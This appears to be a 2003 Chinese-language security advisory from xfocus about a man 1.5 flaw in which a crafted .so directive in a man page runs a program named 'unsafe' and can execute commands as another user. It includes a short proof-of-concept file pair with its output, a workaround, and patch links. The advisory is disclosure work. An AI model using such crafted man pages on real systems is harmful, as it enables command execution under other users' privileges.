xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Man程序不安全返回值执行命令漏洞


发布时间:2003-03-11
更新时间:2003-03-18
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:客户机模式

BUGTRAQ ID:7066

受影响系统
Andries Brouwer man 1.5 k
Andries Brouwer man 1.5 j
Andries Brouwer man 1.5 i2
Andries Brouwer man 1.5 i
Andries Brouwer man 1.5 h1
   +RedHat Linux 5.2
   +RedHat Linux 6.2
   +RedHat Linux 7.0
详细描述
man程序没有正确处理一些输入类型。man在处理畸形文件名时存在漏洞,本地攻击者可以利用这个漏洞以其他高权限用户执行任意命令。

测试代码
Jack Lloyd <lloyd@acm.jhu.edu>提供如下测试方法:

$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh

echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)
$

解决方案
临时解决方法:建立一个符号链接,把/bin/unsafe指向/bin/true。

厂商补丁:

Andries Brouwer man 1.5 k:
     Andries Brouwer Upgrade man-1.5l.tar.gz
     ftp://ftp.win.tue.nl/pub/linux-local/utils/man/man-1.5l.tar.gz
Andries Brouwer man 1.5 j:
     Andries Brouwer Upgrade man-1.5l.tar.gz
     ftp://ftp.win.tue.nl/pub/linux-local/utils/man/man-1.5l.tar.gz
Andries Brouwer man 1.5 i2:
     Andries Brouwer Upgrade man-1.5l.tar.gz
     ftp://ftp.win.tue.nl/pub/linux-local/utils/man/man-1.5l.tar.gz
Andries Brouwer man 1.5 i:
     Andries Brouwer Upgrade man-1.5l.tar.gz
     ftp://ftp.win.tue.nl/pub/linux-local/utils/man/man-1.5l.tar.gz
Andries Brouwer man 1.5 h1:
     Andries Brouwer Upgrade man-1.5l.tar.gz
     ftp://ftp.win.tue.nl/pub/linux-local/utils/man/man-1.5l.tar.gz

相关信息
报告:Jack Lloyd <lloyd@acm.jhu.edu>
相关信息:http://online.securityfocus.com/advisories/5119
          http://online.securityfocus.com/archive/1/314791
          http://online.securityfocus.com/archive/1/314700